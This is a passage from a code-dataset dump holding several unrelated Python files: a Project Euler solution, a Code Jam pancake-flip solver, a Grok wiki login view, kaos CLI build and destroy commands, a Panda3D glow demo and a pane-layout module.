the line tend to be horizontal(based on its slope), select the point with the minimum x coordinate to be the original point(as the base point to calculate the distance between points)\r\n\tif k < 1:\r\n\t\txmin_index=eachline.index(min(eachline))\r\n\t\t# assign distance to be the transferred x-coordinate\r\n\t\tx_t=_gettransferx(eachline,xmin_index)\r\n\t\t# assign the z value(elevation) to be as the transferred y-coordinate\r\n\t\tfor n in range(len(eachline)):\r\n\t\t\txy_t.append([x_t[n],eachline[n][2],eachline[n][3]])\r\n\t\txy_t_sorted=sorted(xy_t,key=itemgetter(0)) # order the points \r\n\t\tresult=_douglaspeucker(xy_t,tolerance)\r\n\t\tx_t[:] = []\r\n\t\txy_t[:] = []\r\n\t# if the line tend to be vertical(based on its slope), select the point with the minimum y coordinate to be the original point(as the base point to calculate the distance between points)\r\n\telse:\r\n\t\tymin=eachline[0][1]\r\n\t\t# to find the minimum y-coordinate of the point on the same line\r\n\t\tfor ii in range(len(eachline)):\r\n\t\t\tif eachline[ii][1] 1:\n d[tags[0]][set(tags[1:])] = obj\n else:\n d[tags[0]] = obj\n i = j\n i+= 1\n return d \n\ndef searchDate(date):\n for i in range(0,len(report)):\n if report[i][0] != \"\\t\":\n pass\nfor k in classify(1):\n print(k)","sub_path":"p3/analyzer.py","file_name":"analyzer.py","file_ext":"py","file_size_in_byte":1435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"117603854","text":"y = []\nz = []\nfor x in range (1000):\n if x%3 ==0:\n y.append(x)\n elif x%5 ==0:\n z.append(x)\nprint(y)\nprint(z)\nu=(y+z)\nprint(sum(u))","sub_path":"ProjectEulerProb1.py","file_name":"ProjectEulerProb1.py","file_ext":"py","file_size_in_byte":150,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"190281931","text":"import pdb\nimport re\n\nfilepath = 'A-large-practice.in'\noutput = open('output.txt', 'w')\nans = []\nregex = re.compile(r'(-)+')\n\ndef is_negative(S):\n return (S.count('-') == len(S))\n\ndef is_positive(S):\n return (S.count('+') == len(S))\n\ndef lone_minus_cnt(S):\n match = regex.findall(S)\n return len(match)\n\ndef transf_pos(S):\n matches = re.finditer(r'(-)+', S)\n pos = [(name.start(0), name.end(0) - 1) for name in matches]\n\n first_pos = pos[0][0]\n last_pos = pos[len(pos) - 1][1]\n d_first_pos = first_pos\n d_last_pos = len(S) - 1 - last_pos\n\n if d_first_pos <= d_last_pos:\n return (pos[0][0], 1)\n else:\n return (pos[len(pos) - 1][1], -1)\n\ndef transfIter(a, i):\n b = list(a)\n if b[i] == '+':\n b[i] = '-'\n elif b[i] == '-':\n b[i] = '+'\n return \"\".join(b)\n\ndef transf(S, pos, K):\n k = 0\n start, direction = pos\n if direction == 1:\n while start + k < len(S) and k < K:\n S = transfIter(S, start + k)\n k += 1\n else:\n while start - k >= 0 and k < K:\n S = transfIter(S, start - k)\n k += 1\n return S\n\n# предполагается что у S только один минус с соседями\ndef is_block_minus(S, K):\n matches = re.finditer(r'(-)+', S)\n pos = [(name.start(0), name.end(0) - 1) for name in matches]\n minus_len = pos[0][1] - pos[0][0] + 1\n if K <= minus_len and minus_len % K == 0:\n return False\n else:\n return True\n\ndef check(S, K, m):\n finished = False\n count = m\n\n if is_positive(S):\n finished = True\n elif is_negative(S) and K == 1:\n count += len(S)\n finished = True\n elif is_negative(S) and len(S) <= K:\n count += 1\n finished = True\n elif is_negative(S) and len(S) > K and len(S) % K == 0:\n count = len(S)/K + count\n finished = True\n elif is_negative(S) and len(S) > K and len(S) % K != 0:\n count = -1\n finished = True\n elif lone_minus_cnt(S) == 1 and is_block_minus(S, K):\n count = -1\n finished = True\n\n return (finished, count)\n\ndef flips_cnt(S, K):\n finished = False\n count = 0\n\n while finished == False:\n finished, count = check(S, K, count)\n if finished == False:\n S = transf(S, transf_pos(S), K)\n count += 1\n\n return count\n\ndef formatted_flips_cnt(i, n):\n res = int(n)\n if n == -1:\n res = 'IMPOSSIBLE'\n return 'Case #{0}: {1}'.format(i, res)\n\nwith open(filepath) as fp:\n line = fp.readline()\n i = 1\n while line:\n if i > 1:\n S, K = line.split(' ', 2)\n n = flips_cnt(S, int(K))\n ans.append(formatted_flips_cnt(i - 1, n) + '\\n')\n\n i += 1\n line = fp.readline()\n\noutput.writelines(ans)\noutput.close()\n","sub_path":"pancakeflip/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":2823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"15907404","text":"import re\n\nimport grok\nfrom zope.interface import Interface\nfrom zope.component import getUtility\nfrom zope.dublincore.interfaces import IZopeDublinCore\nfrom zope.app.authentication.principalfolder import InternalPrincipal\nfrom zope.app.security.interfaces import IAuthentication\nfrom zope.app.security.interfaces import IUnauthenticatedPrincipal\nfrom zope.app.securitypolicy.interfaces import IPrincipalPermissionManager\nimport z3c.flashmessage.interfaces\n\ngrok.context(Interface)\n\nclass WikiMaster(grok.View):\n \"\"\"The master page template macro \"\"\"\n\n def logged_in(self):\n return not IUnauthenticatedPrincipal.providedBy(self.request.principal)\n \n def user(self):\n if not self.logged_in():\n return None\n else:\n return self.request.principal.title\n\n def isManager(self):\n return self.request.principal.id == 'zope.manager'\n \n def exists(self,name=''):\n if not(name):\n if self.context.__class__.__name__ == 'Page':\n parent=self.context.__parent__\n name=self.context.__name__\n else:\n parent=self.context\n else:\n parent=self.context.__parent__\n return name in parent.keys()\n \n def isWikiName(self, name=''):\n regexp = re.compile(r'[A-Z][a-z]+([A-Z][a-z]+)+')\n return list(regexp.finditer(name))\n \n def dc(self):\n return IZopeDublinCore(self.context)\n \n def editor(self):\n if self.context.__class__.__name__ == 'Page':\n if self.exists():\n return self.context.editor\n return None\n \n def messages(self):\n source = getUtility(\n z3c.flashmessage.interfaces.IMessageSource, name='session')\n for message in list(source.list('message')):\n message.prepare(source)\n yield message\n\n def js_tiny(self):\n out=\"\"\"\ntinyMCE.init({\nmode: \"textareas\",\ntheme: \"advanced\",\ncontent_css: \"%s\",\nauto_focus: \"mce_editor_0\"\n});\n\"\"\" % self.static['style.css']()\n return out\n \n def js_newpage(self):\n out=\"\"\"\nfunction NewPage() {\n var pageName = window.prompt(\"Enter the WikiName of your new page:\");\n if (pageName) {\n location.href = '%s/' + pageName;\n }\n}\n\"\"\" % self.application_url()\n return out\n \nclass Login(WikiMaster):\n \"\"\"Login form and handler.\"\"\"\n def update(self, login_submit=None):\n if login_submit is not None:\n if self.logged_in(): \n dest = self.request.get('camefrom', self.application_url())\n self.flash('Welcome back, %s. You are now logged in' % \\\n self.request.principal.id)\n self.redirect(dest)\n else:\n # create a new principal from the request data\n if not (self.request.get('login') in self.members()):\n login=self.request.get('login')\n password=self.request.get('password')\n pau = getUtility(IAuthentication)\n principals = pau['principals']\n principal = InternalPrincipal(login, password, login,\n passwordManagerName='SHA1')\n principals[login] = principal\n permission_mngr = IPrincipalPermissionManager(grok.getSite())\n permission_mngr.grantPermissionToPrincipal(\n 'wiki.AddPage', principals.prefix + login)\n permission_mngr.grantPermissionToPrincipal(\n 'wiki.EditPage', principals.prefix + login)\n dest = self.request.get('camefrom', self.application_url())\n self.flash('Your account has been created. You are now \\\n logged in')\n self.redirect(dest)\n\n def members(self):\n pau = getUtility(IAuthentication)\n principals = pau['principals']\n return list(sorted(principals.keys()))\n\nclass Logout(grok.View):\n \"\"\"Logout handler.\"\"\"\n def render(self):\n session = getUtility(IAuthentication)['session']\n session.logout(self.request)\n self.flash('You are now logged out')\n self.redirect(self.application_url())\n ","sub_path":"grokapps/gbewiki/src/gbewiki/interface.py","file_name":"interface.py","file_ext":"py","file_size_in_byte":4272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"84938763","text":"import os\nimport sys\n\nimport click\nfrom kaos_cli.constants import AWS, GCP, DOCKER, MINIKUBE\nfrom kaos_cli.exceptions.handle_exceptions import handle_specific_exception, handle_exception\nfrom kaos_cli.facades.backend_facade import BackendFacade, is_cloud_provider\nfrom kaos_cli.utils.decorators import build_env_check, pass_obj\nfrom kaos_cli.utils.validators import validate_build_env\n\n\n# BUILD command\n# =============\n@click.command(name='build',\n short_help='{}'.format(\n click.style('Build the kaos backend', bold=True, fg='black')))\n@click.option('-c', '--cloud', type=click.Choice([DOCKER, MINIKUBE, AWS, GCP]),\n help='selected provider', required=True)\n@click.option('-e', '--env', type=click.Choice(['prod', 'stage', 'dev']),\n help='selected environment [cloud only]', required=False)\n@click.option('-f', '--force', is_flag=True,\n help='force build', required=False)\n@click.option('-v', '--verbose', is_flag=True,\n help='verbose output', required=False)\n@click.option('-y', '--yes', is_flag=True,\n help='answer yes to any prompt', required=False)\n@click.option('-l', '--local_backend', is_flag=True,\n help='locally store terraform state [cloud only]', required=False)\n@build_env_check\n@pass_obj(BackendFacade)\ndef build(backend: BackendFacade, cloud, env, force, verbose, yes, local_backend):\n \"\"\"\n Deploy kaos backend infrastructure based on selected provider.\n \"\"\"\n\n is_created = backend.is_created()\n\n if is_created and not force:\n click.echo('{} - {} backend is already built.'.format(click.style(\"Aborting\", bold=True, fg='red'),\n click.style(\"kaos\", bold=True)))\n sys.exit(1)\n\n elif is_created and force:\n click.echo('{} - Performing {} build of the backend'.format(\n click.style(\"Warning\", bold=True, fg='yellow'),\n click.style(\"force\", bold=True)))\n\n # validate ENV\n env = validate_build_env(cloud, env)\n\n if not yes:\n # confirm creation of backend\n if env:\n click.confirm(\n '{} - Are you sure about building {} [{}] backend in {}?'.format(\n click.style(\"Warning\", bold=True, fg='yellow'),\n click.style('kaos', bold=True),\n click.style(env, bold=True, fg='blue'),\n click.style(cloud, bold=True, fg='red')),\n abort=True)\n else:\n click.confirm(\n '{} - Are you sure about building {} backend in {}?'.format(\n click.style(\"Warning\", bold=True, fg='yellow'),\n click.style('kaos', bold=True),\n click.style(cloud, bold=True, fg='red')),\n abort=True)\n\n if local_backend:\n click.echo('{} - Building with {} terraform backend state'.format(\n click.style(\"Info\", bold=True, fg='green'),\n click.style(\"local\", bold=True)))\n\n if local_backend and cloud in [DOCKER, MINIKUBE]:\n click.echo('{} - local backend (-l/--local_backend) has no effect for {}'.format(\n click.style(\"Info\", bold=True, fg='green'),\n click.style(cloud, bold=True, fg='red')))\n\n try:\n\n backend.build(cloud, env, local_backend=local_backend, verbose=verbose)\n\n if verbose:\n click.echo(\"\\n{} - Endpoint successfully set to {}\".format(\n click.style(\"Info\", bold=True, fg='green'),\n click.style(backend.url, bold=True, fg='green')))\n\n if is_cloud_provider(cloud):\n kubeconfig = os.path.abspath(backend.kubeconfig)\n click.echo(\"\\n{} - To interact with the Kubernetes cluster:\\n {}\"\n .format(click.style(\"Info\", bold=True, fg='green'),\n click.style(\"export KUBECONFIG=\" + kubeconfig,\n bold=True, fg='red')))\n\n if env:\n click.echo(\"{} - Successfully built {} [{}] environment\".format(\n click.style(\"Info\", bold=True, fg='green'),\n click.style('kaos', bold=True),\n click.style(env, bold=True, fg='blue')))\n else:\n click.echo(\"{} - Successfully built {} environment\".format(\n click.style(\"Info\", bold=True, fg='green'),\n click.style('kaos', bold=True)))\n\n except Exception as e:\n handle_specific_exception(e)\n handle_exception(e)\n\n\n@click.command(name='destroy',\n short_help='{}'.format(\n click.style('Destroy the kaos backend', bold=True, fg='black')))\n@click.option('-c', '--cloud', type=click.Choice([DOCKER, MINIKUBE, AWS, GCP]),\n help='selected provider provider', required=True)\n@click.option('-e', '--env', type=click.Choice(['prod', 'stage', 'dev']),\n help='selected infrastructure environment', required=False)\n@click.option('-v', '--verbose', is_flag=True,\n help='verbose output', required=False)\n@click.option('-y', '--yes', is_flag=True,\n help='answer yes to any prompt', required=False)\n@build_env_check\n@pass_obj(BackendFacade)\ndef destroy(backend: BackendFacade, cloud, env, verbose, yes):\n \"\"\"\n Destroy kaos backend infrastructure based on selected provider.\n \"\"\"\n\n # validate ENV\n env = validate_build_env(cloud, env)\n\n if not yes:\n # confirm creation of backend\n if env:\n click.confirm(\n '{} - Are you sure about destroying {} [{}] backend in {}?'.format(\n click.style(\"Warning\", bold=True, fg='yellow'),\n click.style('kaos', bold=True),\n click.style(env, bold=True, fg='blue'),\n click.style(cloud, bold=True, fg='red')),\n abort=True)\n else:\n click.confirm(\n '{} - Are you sure about destroying {} backend in {}?'.format(\n click.style(\"Warning\", bold=True, fg='yellow'),\n click.style('kaos', bold=True),\n click.style(cloud, bold=True, fg='red')),\n abort=True)\n try:\n\n backend.destroy(cloud, env, verbose=verbose)\n\n if env:\n click.echo(\n \"{} - Successfully destroyed {} [{}] environment\".format(click.style(\"Info\", bold=True, fg='green'),\n click.style('kaos', bold=True),\n click.style(env, bold=True, fg='blue')))\n else:\n click.echo(\n \"{} - Successfully destroyed {} environment\".format(click.style(\"Info\", bold=True, fg='green'),\n click.style('kaos', bold=True)))\n\n except Exception as e:\n handle_specific_exception(e)\n handle_exception(e)\n","sub_path":"cli/kaos_cli/commands/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":7013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"428368494","text":"#!/usr/bin/env python\n\nimport sys\nimport os\nprint(sys.path)\nsys.path.append(os.path.dirname(\"KirillGame/\"))\n\nimport threading\nfrom threading import Thread\nfrom multiprocessing import Process\n\n\nimport game\n\nfrom direct.showbase.ShowBase import ShowBase\nfrom panda3d.core import Filename, Shader\nfrom panda3d.core import PandaNode, NodePath\nfrom panda3d.core import ColorBlendAttrib\nfrom panda3d.core import AmbientLight, DirectionalLight\nfrom panda3d.core import TextNode, LPoint3, LVector4, LVector3\nfrom direct.showbase.DirectObject import DirectObject\nfrom direct.gui.OnscreenText import OnscreenText\nfrom direct.actor.Actor import Actor\nfrom direct.gui.DirectGui import *\n\nfrom direct.gui.OnscreenText import OnscreenText \nfrom direct.gui.DirectGui import *\nfrom panda3d.core import *\n\nfrom direct.showbase.ShowBase import ShowBase\nfrom panda3d.core import AmbientLight, DirectionalLight\nfrom panda3d.core import TextNode, NodePath, LightAttrib\nfrom panda3d.core import LVector3\nfrom direct.actor.Actor import Actor\nfrom direct.task.Task import Task\nfrom direct.gui.OnscreenText import OnscreenText\nfrom direct.showbase.DirectObject import DirectObject\n\nfrom direct.showbase.ShowBase import ShowBase \nfrom pandac import *\nfrom direct import *\nfrom panda3d.core import *\nfrom direct.showbase.Loader import *\n#import direct.directbase.DirectStart # Fucks it up\n\n\nimport sys\nimport os\n\ndef addInstructions(pos, msg):\n return OnscreenText(text=msg, style=1, fg=(1, 1, 1, 1),\n parent=base.a2dTopLeft, align=TextNode.ALeft,\n pos=(0.08, -pos - 0.04), scale=.05)\n\ndef addTitle(text):\n return OnscreenText(text=text, style=1, fg=(1, 1, 1, 1),\n parent=base.a2dBottomRight, align=TextNode.ARight,\n pos=(-0.1, 0.09), scale=.08)\n\n\n# This function is responsible for setting up the two blur filters.\n# It just makes a temp Buffer, puts a screen aligned card, and then sets\n# the appropriate shader to do all the work. Gaussian blurs are decomposable\n# into a two-pass algorithm which is faster than the equivalent one-pass\n# algorithm, so we do it in two passes: one pass that blurs in the horizontal\n# direction, and one in the vertical direction.\ndef makeFilterBuffer(srcbuffer, name, sort, prog):\n blurBuffer = base.win.makeTextureBuffer(name, 512, 512)\n blurBuffer.setSort(sort)\n blurBuffer.setClearColor(LVector4(1, 0, 0, 1))\n blurCamera = base.makeCamera2d(blurBuffer)\n blurScene = NodePath(\"new Scene\")\n blurCamera.node().setScene(blurScene)\n shader = loader.loadShader(prog)\n card = srcbuffer.getTextureCard()\n card.reparentTo(blurScene)\n card.setShader(shader)\n return blurBuffer\n\nclass GlowDemo(ShowBase):\n\n def __init__(self):\n # Initialize the ShowBase class from which we inherit, which will\n # create a window and set up everything we need for rendering into it.\n ShowBase.__init__(self)\n \n ################\n #callback function for when text is entered into the field with \n def setText(textEntered=\"\"):\n textObject.setText(textEntered)\n \n #clear the text\n def clearText():\n b.enterText('')\n \n fontToUse = loader.loadFont('Minecraft.ttf', minFilter=0, magFilter=0) \n fontToUse.setPixelsPerUnit(30)\n \n bk_text = \"Kirill: \"\n #global textObject\n textObject = OnscreenText(text = bk_text, pos = (0.95,-0.45), scale = 0.07, fg=(1.0,0.5,0.5, 1.0), align=TextNode.ACenter, mayChange=1)\n healthObject = OnscreenText(text = \"Health: \", pos = (0.45,-0.55), scale = 0.07, fg=(1.0,0.5,0.5, 1.0), align=TextNode.ALeft, mayChange=1)\n sanityObject = OnscreenText(text = \"Sanity: \", pos = (0.45,-0.65), scale = 0.07, fg=(1.0,0.5,0.5, 1.0), align=TextNode.ALeft, mayChange=1)\n intObject = OnscreenText(text = \"Intelligence: \", pos = (0.45,-0.75), scale = 0.07, fg=(1.0,0.5,0.5, 1.0), align=TextNode.ALeft, mayChange=1)\n \n textObject.setFont(fontToUse)\n #add button\n \n #b = DirectEntry(text = \"\" ,width=base.win.getXSize(), scale=0.05,command=setText(),initialText=\"Type Something\", numLines = 2,focus=1,focusInCommand=clearText, entryFont=fontToUse, text_fg=(1.0,1.0,1.0,1.0), frameColor=(0.0,0.0,0.0,1.0))\n #b.reparentTo(base.a2dBottomLeft)\n #b.setPos(+0.0,0, +0.15)\n \n ################\n\n base.disableMouse()\n base.setBackgroundColor(0, 0, 0)\n #camera.setPos(0, -50, 0)\n camera.setPos(0, -1, 0)\n base.camLens.setFov(25)\n \n # Check video card capabilities.\n if not base.win.getGsg().getSupportsBasicShaders():\n addTitle(\n \"Glow Filter: Video driver reports that Cg shaders are not supported.\")\n return\n\n # Post the instructions\n #self.title = addTitle(\"Untitled Kirill Game - Test\")\n #self.inst1 = addInstructions(0.06, \"ESC: Quit\")\n #self.inst2 = addInstructions(0.12, \"Space: Toggle Glow Filter On/Off\")\n #self.inst3 = addInstructions(0.18, \"Enter: Toggle Running/Spinning\")\n #self.inst4 = addInstructions(0.24, \"V: View the render-to-texture results\")\n\n # Create the shader that will determine what parts of the scene will\n # glow\n glowShader = loader.loadShader(\"shaders/glowShader.sha\")\n\n # load our model\n self.tron = Actor()\n self.tron.loadModel(\"models/kirill rig.egg\")\n self.tron.loadAnims({\"running\": \"models/kirill rig-Walk.egg\"})\n self.tron.reparentTo(render)\n self.tron.setScale(3)\n self.interval = self.tron.hprInterval(60, LPoint3(360, 0, 0))\n self.interval.loop()\n self.isRunning = False\n\n # put some lighting on the tron model\n dlight = DirectionalLight('dlight')\n alight = AmbientLight('alight')\n dlnp = render.attachNewNode(dlight)\n alnp = render.attachNewNode(alight)\n dlight.setColor(LVector4(1.0, 0.7, 0.2, 1))\n alight.setColor(LVector4(0.2, 0.2, 0.2, 1))\n dlnp.setHpr(0, -60, 0)\n render.setLight(dlnp)\n render.setLight(alnp)\n\n # create the glow buffer. This buffer renders like a normal scene,\n # except that only the glowing materials should show up nonblack.\n glowBuffer = base.win.makeTextureBuffer(\"Glow scene\", 512, 512)\n glowBuffer.setSort(-3)\n glowBuffer.setClearColor(LVector4(0, 0, 0, 1))\n\n # We have to attach a camera to the glow buffer. The glow camera\n # must have the same frustum as the main camera. As long as the aspect\n # ratios match, the rest will take care of itself.\n glowCamera = base.makeCamera(\n glowBuffer, lens=base.cam.node().getLens())\n\n # Tell the glow camera to use the glow shader\n tempnode = NodePath(PandaNode(\"temp node\"))\n tempnode.setShader(glowShader)\n glowCamera.node().setInitialState(tempnode.getState())\n\n # set up the pipeline: from glow scene to blur x to blur y to main\n # window.\n blurXBuffer = makeFilterBuffer(\n glowBuffer, \"Blur X\", -2, \"shaders/XBlurShader.sha\")\n blurYBuffer = makeFilterBuffer(\n blurXBuffer, \"Blur Y\", -1, \"shaders/YBlurShader.sha\")\n self.finalcard = blurYBuffer.getTextureCard()\n self.finalcard.reparentTo(render2d)\n\n # This attribute is used to add the results of the post-processing\n # effects to the existing framebuffer image, rather than replace it.\n # This is mainly useful for glow effects like ours.\n self.finalcard.setAttrib(ColorBlendAttrib.make(ColorBlendAttrib.MAdd))\n\n # Panda contains a built-in viewer that lets you view the results of\n # your render-to-texture operations. This code configures the viewer.\n self.accept(\"v\", base.bufferViewer.toggleEnable)\n self.accept(\"V\", base.bufferViewer.toggleEnable)\n base.bufferViewer.setPosition(\"llcorner\")\n base.bufferViewer.setLayout(\"hline\")\n base.bufferViewer.setCardSize(0.652, 0)\n\n # event handling\n #self.accept(\"space\", self.toggleGlow)\n #self.accept(\"enter\", self.toggleDisplay)\n #self.accept(\"escape\", sys.exit, [0])\n\n self.glowOn = True\n \n self.finalcard.reparentTo(hidden)\n \n #camera.setPos(0, -170, -3)\n camera.setPos(0, -50, 7)\n self.interval.finish()\n self.tron.setHpr(0, 0, 0)\n self.tron.loop(\"running\")\n self.interval.loop()\n \n def updateStats(health, sanity, intelligence):\n healthObject.setText(\"Health: \" + str(health))\n sanityObject.setText(\"Sanity: \" + str(sanity))\n intObject.setText(\"Intelligence: \" + str(intelligence))\n\n def run(self):\n def __init__(self):\n pass\n super().run()\n\n \ndemo = GlowDemo()\nfrom direct.task import *\nfrom time import sleep\n#taskMgr.add(GlowDemo(), \"demo\")\nwhile True:\n demo.taskMgr.step()\n sleep(1)\n\n#game.main()\n\n#Thread(GlowDemo().run)\n\n#t2 = Thread(target = demo.wxApp.MainLoop)\n#t2.start()\n#t1 = Thread(target = game.main)\n#t1.start()\n\n#demo.run()\n","sub_path":"advanced.py","file_name":"advanced.py","file_ext":"py","file_size_in_byte":9232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"613950994","text":"# these are actually offsets into the coordinate mappings.\nHorizontal = 1\nVertical = 2\n\nclass LayoutError(Exception):\n\tpass\n\nclass DisplayCell(object):\n\tdef __init__(self, layout, coords):\n\t\tself.layout = layout\n\t\tself.left, self.top, self.right, self.bottom = coords\n\t\tself.parent = None\n\n\tdef set_parent(self, parent):\n\t\tself.parent = parent\n\n\tdef by(self, orientation):\n\t\tif orientation == Horizontal:\n\t\t\treturn (orientation, self.top, self.bottom)\n\t\telse:\n\t\t\treturn (orientation, self.left, self.right)\n\n\tdef __repr__(self):\n\t\treturn \"%s%s\" % (self.__class__.__name__,\n\t\t\trepr((self.left, self.top, self.right, self.bottom))\n\t\t\t)\n\nclass DisplayPane(DisplayCell):\n\tpass\n\nclass DisplayGroup(DisplayCell):\n\tdef __init__(self, layout, panes):\n\t\tself.panes = panes\n\t\tfor pane in panes:\n\t\t\tpane.set_parent(self)\n\n\t\tself.orientation = self.find_orientation(self.panes)\n\n\t\tleft = min(pane.left for pane in panes)\n\t\ttop = min(pane.top for pane in panes)\n\t\tright = max(pane.right for pane in panes)\n\t\tbottom = max(pane.bottom for pane in panes)\n\n\t\tsuper(DisplayGroup, self).__init__(layout, (left,top,right,bottom))\n\n\tdef __repr__(self):\n\t\treturn \"%s: %s[%s]\" % (super(DisplayGroup, self).__repr__(),\n\t\t\t\"Vertical\" if self.orientation == Vertical else \"Horizontal\",\n\t\t\t\", \".join(pane.__repr__() for pane in self.panes))\n\n\t@staticmethod\n\tdef find_orientation(panes):\n\t\tlast_orientation = None\n\t\tlast = panes[0]\n\t\tfor pane in panes[1:]:\n\t\t\tif pane.left == last.left and pane.right == last.right:\n\t\t\t\torientation = Vertical\n\t\t\telif pane.top == last.top and pane.bottom == last.bottom:\n\t\t\t\torientation = Horizontal\n\t\t\telse:\n\t\t\t\traise LayoutError(\"Unmatched panes in the same group!\")\n\n\t\t\tif last_orientation:\n\t\t\t\tif orientation != last_orientation:\n\t\t\t\t\traise LayoutError(\"Unexpected flip in orientation!\")\n\t\t\telse:\n\t\t\t\tlast_orientation = orientation\n\n\t\treturn last_orientation\n\n\nclass Layout(object):\n\tdef __init__(self, layout):\n\t\tself.cells = [DisplayPane(self, self._deref_splits(pane, layout['rows'], layout['cols'])) for pane in layout['cells']]\n\n\t\tself.groups = self._extract_groups(self.cells)\n\n\tdef __repr__(self):\n\t\treturn \"%s: %s\" % (self.__class__.__name__, self.groups.__repr__())\n\n\t@staticmethod\n\tdef _deref_splits(raw_pane, rows, cols):\n\t\treturn (\n\t\t\tcols[raw_pane[0]],\n\t\t\trows[raw_pane[1]],\n\t\t\tcols[raw_pane[2]],\n\t\t\trows[raw_pane[3]],\n\t\t)\n\n\tdef _search_groups(self, groups, search, remain):\n\t\tnewremain = []\n\t\tgroup = [search]\n\t\tfor cell in remain:\n\t\t\tif search.by(Horizontal) == cell.by(Horizontal):\n\t\t\t\tgroup.append(cell)\n\t\t\telif search.by(Vertical) == cell.by(Vertical):\n\t\t\t\tgroup.append(cell)\n\t\t\telse:\n\t\t\t\tnewremain.append(cell)\n\t\tif len(group) > 1:\n\t\t\tgroups.append(DisplayGroup(self, group))\n\t\telse:\n\t\t\tgroups.append(search)\n\n\t\tif len(newremain) > 0:\n\t\t\treturn self._search_groups(groups, newremain[0], newremain[1:])\n\t\telse:\n\t\t\treturn groups\n\n\tdef _extract_groups(self, cells):\n\t\tgroups = cells\n\t\twhile 1:\n\t\t\tnewgroups = self._search_groups([], groups[0], groups[1:])\n\t\t\tif len(newgroups) == 1:\n\t\t\t\treturn newgroups[0]\n\t\t\telif len(newgroups) == len(groups):\n\t\t\t\traise LayoutError(\"Grouping stalled! At: %s\" % (groups,))\n\n\t\t\tgroups = newgroups\n\n\t@staticmethod\n\tdef _make_splitid(cell, value, split_list):\n\t\tcur = cell\n\t\twhile cur != None:\n\t\t\tgroup = cur.parent\n\t\t\tif (group, value) in split_list:\n\t\t\t\treturn split_list.index((group, value))\n\t\t\tcur = group\n\n\t\tsplit_list.append((cell.parent, value))\n\t\treturn len(split_list) - 1\n\n\t@staticmethod\n\tdef _depth_walk(cell):\n\t\tnodes = [cell]\n\t\twhile nodes:\n\t\t\tcell = nodes.pop()\n\t\t\tyield cell\n\t\t\tif isinstance(cell, DisplayGroup):\n\t\t\t\tnodes = cell.panes + nodes\n\n\tdef _get_adjacent(self, pane):\n\t\t\"\"\"\n\t\tReturns a tuple of the two cells around\n\t\tthe pane passed in. The one before, and the one after, \n\t\tin whatever orientation the parent group is. If there isn't one\n\t\tbefore, the first will be None. If there isn't one\n\t\tafter, the last will be None. If it's the only pane\n\t\tin the layout (or its group), both will be None.\n\t\t\"\"\"\n\t\tgroup = pane.parent\n\n\t\tif not group:\n\t\t\treturn (None, None)\n\n\t\tpanes = sorted(group.panes, key=lambda pane: (pane.left, pane.top))\n\n\t\tprev, cur = None, None\n\t\tfor opane in panes:\n\t\t\tif cur:\n\t\t\t\treturn (prev, opane)\n\t\t\telif opane == pane:\n\t\t\t\tcur = opane\n\t\t\telse:\n\t\t\t\tprev = opane\n\n\t\t# if we're here there's nothing after.\n\t\treturn (prev, None)\n\n\tdef _delete_pane_obj(self, pane):\n\t\tgroup = pane.parent\n\t\tif not group: # don't delete if there are no more.\n\t\t\treturn\n\n\t\tprev, next = self._get_adjacent(pane)\n\t\tif not prev and not next:\n\t\t\tself._delete_pane_obj(group) # delete this one instead\n\t\telif prev:\n\t\t\tif group.orientation == Horizontal:\n\t\t\t\tfor child in self._depth_walk(prev):\n\t\t\t\t\tif child.right == pane.left:\n\t\t\t\t\t\tchild.right = pane.right\n\t\t\telse:\n\t\t\t\tfor child in self._depth_walk(prev):\n\t\t\t\t\tif child.bottom == pane.top:\n\t\t\t\t\t\tchild.bottom = pane.bottom\n\t\telse:\n\t\t\tif group.orientation == Horizontal:\n\t\t\t\tfor child in self._depth_walk(next):\n\t\t\t\t\tif child.left == pane.right:\n\t\t\t\t\t\tchild.left = pane.left\n\t\t\telse:\n\t\t\t\tfor child in self._depth_walk(next):\n\t\t\t\t\tif child.top == pane.bottom:\n\t\t\t\t\t\tchild.top = pane.top\n\n\t\tgroup_idx = group.panes.index(pane)\n\t\tgroup.panes[group_idx:group_idx+1] = []\n\n\t\t# don't forget to normalize it if we've left\n\t\t# a group of one behind.\n\t\twhile group and len(group.panes) == 1:\n\t\t\tnpane = group.panes[0]\n\t\t\tif group.parent:\n\t\t\t\tgroup_idx = group.parent.panes.index(group)\n\t\t\t\tgroup.parent.panes[group_idx] = npane\n\t\t\telse:\n\t\t\t\t# if we're here we've deleted everything to the\n\t\t\t\t# root, just make this pane the root.\n\t\t\t\tself.groups = npane\n\t\t\tnpane.parent = group.parent\n\t\t\tgroup = group.parent\n\n\t\tif pane in self.cells:\n\t\t\tcell_idx = self.cells.index(pane)\n\t\t\tself.cells[cell_idx:cell_idx+1] = []\n\n\tdef delete_pane(self, number):\n\t\treturn self._delete_pane_obj(self.cells[number])\n\n\tdef _split_pane_obj(self, pane, orientation):\n\t\t\"\"\"\n\t\tSplits a pane evenly in two by the orientation given.\n\t\tReturns the index of the newly created pane.\n\t\t\"\"\"\n\t\tgroup = pane.parent\n\n\t\tif not group:\n\t\t\t# if we're splitting the root pane when there's no\n\t\t\t# other panes, we just make a simple split structure.\n\t\t\tif orientation == Horizontal:\n\t\t\t\tfirst = DisplayPane(self, (0.0, 0.0, 0.5, 1.0))\n\t\t\t\tsecond = DisplayPane(self, (0.5, 0.0, 1.0, 1.0))\n\t\t\telse:\n\t\t\t\tfirst = DisplayPane(self, (0.0, 0.0, 1.0, 0.5))\n\t\t\t\tsecond = DisplayPane(self, (0.0, 0.5, 1.0, 1.0))\n\t\t\tsplit = DisplayGroup(self, [first, second])\n\t\t\tself.cells = [first, second]\n\t\t\tself.groups = split\n\t\t\treturn 1\n\n\t\tpane_idx = group.panes.index(pane)\n\t\tif orientation == Horizontal:\n\t\t\torig, pane.right = pane.right, pane.left + (pane.right - pane.left) / 2\n\t\t\tnew_pane = DisplayPane(self, (pane.right, pane.top, orig, 